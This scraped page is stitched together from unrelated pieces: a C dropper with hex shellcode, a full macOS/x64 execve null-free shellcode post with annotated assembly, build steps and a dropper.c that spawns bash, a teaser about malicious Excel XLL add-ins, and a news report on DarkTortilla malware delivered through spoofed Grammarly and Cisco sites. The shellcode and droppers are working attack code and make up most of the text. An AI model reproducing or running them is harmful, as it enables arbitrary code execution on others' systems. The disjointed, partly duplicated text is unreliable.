"\x55\x48\x89\xe5\x48\x83\xec\x60\x48\x89\x65\xf8\xeb\x3c\x48\x8b\x0c\x24\x48\xff\xc1\x66\x39\x39\x75\xf8\x66\x83\xc1\x02\x66\x39\x39\x75\xef\x66\x83\xc1\x02\x48\x91\xc3\x48\x31\xc0\x48\x31\xc9\x48\x89\xf9\x48\x01\xc1\x40\x38\x31\x74\x0e\x66\x3d\x01\x10\x7f\x05\x48\xff\xc0\xeb\xea\x48\x31\xc0\xc3\xeb\x28\x48\x31\xc9\x48\x89\xf9\x40\x38\x31\x74\x05\x48\xff\xc1\xeb\xf6\x88\x01\xc3\x57\x48\x31\xc0\x8a\x06\x88\x07\x48\xff\xc6\x48\xff\xc7\x48\xff\xca\x75\xf1\x58\xc3\xeb\x1f\x48\x89\xf1\x48\x31\xc0\x88\x07\x48\xff\xc7\x48\xff\xc9\x75\xf6\xc3\x28\x16\x48\xff\xc6\x48\xff\xcf\x48\x85\xff\x75\xf3\xc3\x48\x31\xff\x66\xbf\xb0\xbc\xe8\x6d\xff\xff\xff\x48\x89\x45\xf0\x48\x8b\x7d\xf0\x48\x31\xf6\x40\xb6\xff\xe8\x76\xff\xff\xff\x48\x89\x45\xe8\x48\x8b\x7d\xf8\x48\x8b\x75\xf0\x48\x8b\x55\xe8\xe8\x96\xff\xff\xff\x48\x8b\x7d\xe8\x48\x8b\x75\xf8\x48\x31\xd2\x80\xc2\x07\xe8\xab\xff\xff\xff\x48\x8b\x55\xe8\x48\x8b\x7d\xf8\x48\x01\xd7\x48\x31\xf6\x40\xb6\x01\xe8\x84\xff\xff\xff\x48\x8b\x7d\xf8\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\xb0\x02\x48\xc1\xc8\x28\xb0\x3b\x0f\x05\x48\x83\xc4\x60\x5d\xc3\xb0\xbc\xb0\xbc\x36\x69\x70\x75\x36\x69\x68\x7a\x6f\xff";int main() {    size_t testcode_size = sizeof(testcode);    printf("[+] testcode Length: %lu Bytes\n", testcode_size);      void *rwx_memory = mmap(0, 0x1024, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);     if (rwx_memory == MAP_FAILED) {        printf("[!] Failed to allocate RWX memory\n");        perror("mmap");        exit(-1);    }     printf("[+] Copying testcode from variable at %p to allocated RWX memory at %p\n",testcode,rwx_memory);    memcpy(rwx_memory, testcode, sizeof(testcode));    execute_testcode = rwx_memory;     printf("[+] Executing testcode at %p\n",rwx_memory);    execute_testcode();    return 0;}

macOS/x64 Execve Caesar Cipher String Null-Free Shellcode 

253 bytes small macOS/x64 execve null-free shellcode.

    # Shellcode Title: macOS/x64 - Execve Null-Free Shellcode (253 Bytes)# Shellcode Author: Bobby Cooke (boku) @0xBoku github.com/boku7# Date: 12/20/2022# Tested on: macOS Monterey; 21.6.0 Darwin Kernel Version; x86_64# Shellcode Description:# macOS 64 bit shellcode. Uses execve syscall to spawn bash. The string is within the shellcode. The shellcode finds the string in memory, copies the string to the stack, and then changes the string terminator to 0x00.# Shoutout to IBM X-Force Red Adversary Simulation team! Currently working through EXP-312 and tinkering with macOS shellcoding. Shoutout to the offsec team for the cool course! # Compile & run:#     nasm -f macho64 execve.asm -o execve#     for x in $(objdump -d execve --x86-asm-syntax=intel | grep "^ " | cut -f1 | awk -F: '{print $2}'); do echo -n "\x"$x; done; echo#  # Add shellcode to dropper.c#     gcc dropper.c -o dropper#     sh-3.2$ pstree -p $(echo $$) | grep $$#           \-+= 56862 bobby sh#     sh-3.2$ ./dropper#         [+] Shellcode Length: 253 Bytes#         [+] Copying shellcode from variable at 0x10e4fde00 to allocated RWX memory at 0x10e643000#         [+] Executing shellcode at 0x10e643000#     bobby$ pstree -p $(echo $$) | grep -B1 $$#           \-+= 56862 bobby sh#             \-+= 57021 bobby (bash)bits 64global _main_main:  create_stackframe:    push rbp           ; push current base pointer to the stack    mov rbp, rsp       ; Set Base Stack Pointer for new Stack-Frame    sub rsp, 0x60      ; create space for string    mov [rbp-0x8], rsp ; Save destination string buffer address    jmp short lilypad_1; char * string eggHunter(egg);;     RAX                 RDI; description: starts searching for the supplied egg starting from the callers return addresseggHunter:  mov rcx, [rsp]    ; start the egghunter from the caller function return address  hunt:    inc rcx         ; move to the hunter to the next byte    cmp [rcx], di   ; did we find the first  egg?    jne hunt        ; if not, continue hunt    add cx, 0x2     ; move hunter to 2nd egg location    cmp [rcx], di   ; did we find the second egg?    jne hunt        ; if not, continue hunt    add cx, 0x2     ; both eggs found! Move hunter +2 to return the start of buffer addr    xchg rax, rcx   ; return start of string address    ret; int length strsize(&string, terminator);;      RAX              RDI        RSI; description: gets string size of a string that is terminated with a predetermined non-null byte. Terminator byte not included.strsize:  xor rax, rax      ; clear register  xor rcx, rcx      ; set the counter to zero  strsize_loop:    mov rcx, rdi    ; start of string address    add rcx, rax    ; current memory location of char in string    cmp [rcx], sil  ; is this the null terminator?    je strsize_return    prevent_infinite_loop:      cmp ax, 0x1001          ; compare value in RAX to 0x1001 (prevent infinite mem scanning)      jg strsize_fail2find    ; if value in RAX is greater, jump to label    inc rax                   ; move to the next char in the string    jmp strsize_loop  strsize_fail2find:    xor rax, rax    ; return null/ 0x0  strsize_return:    retlilypad_1:  jmp short lilypad_2; char * string terminateString(&string, terminator);;     RAX                          RDI        RSI; description: Finds the string terminator and changes it to a null byteterminateString:  xor rcx, rcx      ; set the counter to zero  mov rcx, rdi      ; start address to look for terminator  loop_find_terminator:    cmp [rcx], sil  ; is this the null terminator?    je found_terminator    inc rcx         ; move to the next char in the string    jmp loop_find_terminator  found_terminator:    mov [rcx], al    ret; void * dst_addr move_memory(void *dst_addr, void *src_addr, size_t mem_size);;        RAX                         RDI             RSI              RDX; description: Move memory from source address to destination address;  ARG1 - RDI: destination address;  ARG2 - RSI: source address;  ARG3 - RDX: size of the memorymove_memory:  ; Loop through memory and move each byte from source to destination  push rdi                 ; save the destination address so we can return it at the end  xor rax, rax             ; register to temporarily hold the byte we are copying  move_memory_loop:    mov al, [rsi]          ; read the byte from source address into the temporary register    mov [rdi], al          ; write the byte at the destination address    inc rsi                ; increment source address    inc rdi                ; increment destination address    dec rdx                ; decrement memory size    jnz move_memory_loop   ; repeat loop until memory size is 0  ; Return to caller  pop rax                  ; return the destination address of the memory to the caller  retlilypad_2:  jmp short lilypad_3; void clear_memory(void *dst_addr, size_t mem_size);;                         RDI              RSI; description: Writes 0x00 bytes to a destination address;  ARG1 - RDI: a pointer to the destination address;  ARG2 - RSI: the size of the memory to be written toclear_memory:  mov rcx, rsi     ; load memory size from second argument into rcx  xor rax, rax  ; Loop through memory and write 0x00 to each byte in destination address  clrmem_loop:    mov byte [rdi], al   ; write 0x00 to byte in destination address    inc rdi              ; increment destination address    dec rcx              ; decrement memory size    jnz clrmem_loop      ; repeat loop until memory size is 0  ; Return to caller  retlilypad_3:  ; *string = eggHunter(egg); Starts hunt from return address of caller  find_execve_string:     xor rdi, rdi        ; clear register    mov  di, 0xBCB0     ; Arg 1: Our egg    call eggHunter      ; returns string start address    mov [rbp-0x10], rax ; Save string address  get_strlen:    mov rdi, [rbp-0x10]    ; Arg 1: string start address    xor rsi, rsi           ; clear register    mov sil, 0xFF          ; Arg 2: string terminator    call strsize ; returns string size    mov [rbp-0x18], rax    ; Save string size        ; move_memory(dst_addr, src_addr, mem_size);  ;               RDI       RSI       RDX  copy_str2stack:    mov rdi, [rbp-0x8]      ; Arg 1: String buffer on stack    mov rsi, [rbp-0x10]     ; Arg 2: Original string location    mov rdx, [rbp-0x18]     ; Arg 3: size    call move_memory  do_terminate_string:    mov rdx, [rbp-0x18]     ; string size    mov rdi, [rbp-0x8]      ; String buffer on stack    add rdi, rdx            ; Arg 1: string terminator location    xor rsi, rsi            ; clear register    mov sil, 0x1            ; Arg 2: mem size to null    call clear_memory       ; returns string size  ; execve("/bin/bash",NULL,NULL)  execve:    mov rdi, [rbp-0x8]  ; Arg 1: String buffer on stack      xor  rsi, rsi       ; Arg 2: NULL    xor  rdx, rdx       ; Arg 3: NULL    xor  rax, rax       ; clear register for syscall number setup    mov  al, 0x2        ; set a bit in register    ror  rax, 0x28      ; move the bit over 28 bits to the right in the register    mov  al, 0x3b       ; set the lower byte (AL) of the RAX register to the execve syscall number    syscall             ; do syscall interrupt    fixstack:    add rsp, 0x60    ; clear allocated stack space    pop rbp          ; restore stack base pointer    ret              ; return to callershell_path_string:  db  0xB0,0xBC,0xB0,0xBC,"/bin/bash",0xFF###########################################################################################################################################// dropper.c#include <stdio.h>#include <sys/mman.h>#include <string.h>#include <stdlib.h>int (*execute_shellcode)();const unsigned char shellcode[] = "\x55\x48\x89\xe5\x48\x83\xec\x60\x48\x89\x65\xf8\xeb\x3c\x48\x8b\x0c\x24\x48\xff\xc1\x66\x39\x39\x75\xf8\x66\x83\xc1\x02\x66\x39\x39\x75\xef\x66\x83\xc1\x02\x48\x91\xc3\x48\x31\xc0\x48\x31\xc9\x48\x89\xf9\x48\x01\xc1\x40\x38\x31\x74\x0e\x66\x3d\x01\x10\x7f\x05\x48\xff\xc0\xeb\xea\x48\x31\xc0\xc3\xeb\x28\x48\x31\xc9\x48\x89\xf9\x40\x38\x31\x74\x05\x48\xff\xc1\xeb\xf6\x88\x01\xc3\x57\x48\x31\xc0\x8a\x06\x88\x07\x48\xff\xc6\x48\xff\xc7\x48\xff\xca\x75\xf1\x58\xc3\xeb\x11\x48\x89\xf1\x48\x31\xc0\x88\x07\x48\xff\xc7\x48\xff\xc9\x75\xf6\xc3\x48\x31\xff\x66\xbf\xb0\xbc\xe8\x7b\xff\xff\xff\x48\x89\x45\xf0\x48\x8b\x7d\xf0\x48\x31\xf6\x40\xb6\xff\xe8\x84\xff\xff\xff\x48\x89\x45\xe8\x48\x8b\x7d\xf8\x48\x8b\x75\xf0\x48\x8b\x55\xe8\xe8\xa4\xff\xff\xff\x48\x8b\x55\xe8\x48\x8b\x7d\xf8\x48\x01\xd7\x48\x31\xf6\x40\xb6\x01\xe8\xa5\xff\xff\xff\x48\x8b\x7d\xf8\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\xb0\x02\x48\xc1\xc8\x28\xb0\x3b\x0f\x05\x48\x83\xc4\x60\x5d\xc3\xb0\xbc\xb0\xbc\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\xff";int main() {    size_t shellcode_size = sizeof(shellcode);    printf("[+] Shellcode Length: %lu Bytes\n", shellcode_size);      void *rwx_memory = mmap(0, 0x1024, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);     if (rwx_memory == MAP_FAILED) {        printf("[!] Failed to allocate RWX memory\n");        perror("mmap");        exit(-1);    }     printf("[+] Copying shellcode from variable at %p to allocated RWX memory at %p\n",shellcode,rwx_memory);    memcpy(rwx_memory, shellcode, sizeof(shellcode));    execute_shellcode = rwx_memory;     printf("[+] Executing shellcode at %p\n",rwx_memory);    execute_shellcode();    return 0; }

macOS/x64 Execve Null-Free Shellcode

As more and more users adopt new versions of Microsoft Office, it is likely that threat actors will turn away from VBA-based malicious documents to other formats such as XLLs or rely on exploiting newly discovered vulnerabilities to launch malicious code.

Threat Spotlight: XLLing in Excel - threat actors using malicious add-ins

Sites spoofing Grammarly and a Cisco webpage are spreading the DarkTortilla threat, which is filled with follow-on malware attacks.

Researchers have spotted two phishing sites — one spoofing a Cisco webpage and the other masquerading as a Grammarly site — that threat actors are using to distribute a particularly pernicious piece of malware known as "DarkTortilla."

The .NET-based malware can be configured to deliver various payloads and is known for functions that make it extremely stealthy and persistent on the systems it compromises.

Multiple threat groups have been using DarkTortilla since at least 2015 to drop information stealers and remote access Trojans, such as AgentTesla, AsyncRAT and NanoCore. Some ransomware groups too — such as the operators of Babuk — have used DarkTortilla as part of their payload delivery chain. In many of these campaigns, attackers have primarily used malicious file attachments (.zip, .img, .iso) in spam emails to wrap up unsuspecting users in the malware.

**DarkTortilla Delivery Via Phishing Sites**

Recently, researchers at Cyble Research and Intelligence Labs identified a malicious campaign where threat actors are using two phishing sites, masquerading as legitimate sites, to distribute the malware. Cyble surmised that the operators of the campaign are likely using spam email or online ads to distribute links to the two sites.

Users who follow the link to the spoofed Grammarly website end up downloading a malicious file named "GnammanlyInstaller.zip" when they click on the "Get Grammarly" button. The .zip file contains a malicious installer disguised as a Grammarly executable that drops a second, encrypted 32-bit .NET executable. That in turn downloads an encrypted DLL file from an attacker-controlled remote server. The .NET executable decrypts the encrypted DLL file and loads it into the compromised system's memory, where it executes a variety of malicious activities, Cyble said.

The Cisco phishing site meanwhile looks like a download page for Cisco's Secure Client VPN technology. But when a user clicks on the button to "order" the product, they end up downloading a malicious VC++ file from a remote attacker-controlled server instead. The malware triggers a series of actions that end with DarkTortilla installed on the compromised system.

Cyble's analysis of the payload showed the malware packing functions for persistence, process injection, doing antivirus and virtual machine/sandbox checks, displaying fake messages, and communicating with its command-and-control (C2) server and downloading additional payloads from it.

Cyble's researchers found that to ensure persistence on an infected system for instance, DarkTortilla drops a copy of itself into the system's Startup folder and creates Run/Winlogin registry entries. As an additional persistence mechanism, DarkTortilla also creates a new folder named "system\_update.exe" on the infected system and copies itself into the folder.

**Sophisticated & Dangerous Malware**

DarkTortilla's fake message functionality meanwhile basically serves up messages to trick victims into believing the Grammarly or Cisco application they wanted failed to execute because certain dependent application components were not available on their system.

"The DarkTortilla malware is highly sophisticated .NET-based malware that targets users in the wild," Cyble researchers said in a Monday advisory. "The files downloaded from the phishing sites exhibit different infection techniques, indicating that the \[threat actors\] have a sophisticated platform capable of customizing and compiling the binary using various options."

DarkTortilla, as mentioned, often acts as a first-stage loader for additional malware. Researchers from Secureworks' Counter Threat Unit earlier this year identified threat actors using DarkTortilla to mass distribute a wide range of malware including, Remcos, BitRat, WarzoneRat, Snake Keylogger, LokiBot, QuasarRat, NetWire, and DCRat.

They also identified some adversaries using the malware in targeted attacks to deliver Cobalt Strike and Metasploit post-compromise attack kits. At the time, Secureworks said it had counted at least 10,000 unique DarkTortilla samples since it first spotted a threat actor using the malware in an attack targeting a critical Microsoft Exchange remote code execution vulnerability (CVE-2021-34473) last year.

Secureworks assessed DarkTortilla as being very dangerous because of its high degree of configurability and its use of open source tools like CofuserEX and DeepSea to obfuscate its code. The fact that DarkTortilla's main payload is executed entirely in memory is another feature that makes the malware dangerous and difficult to spot, Secureworks noted at the time.

Tag

#c++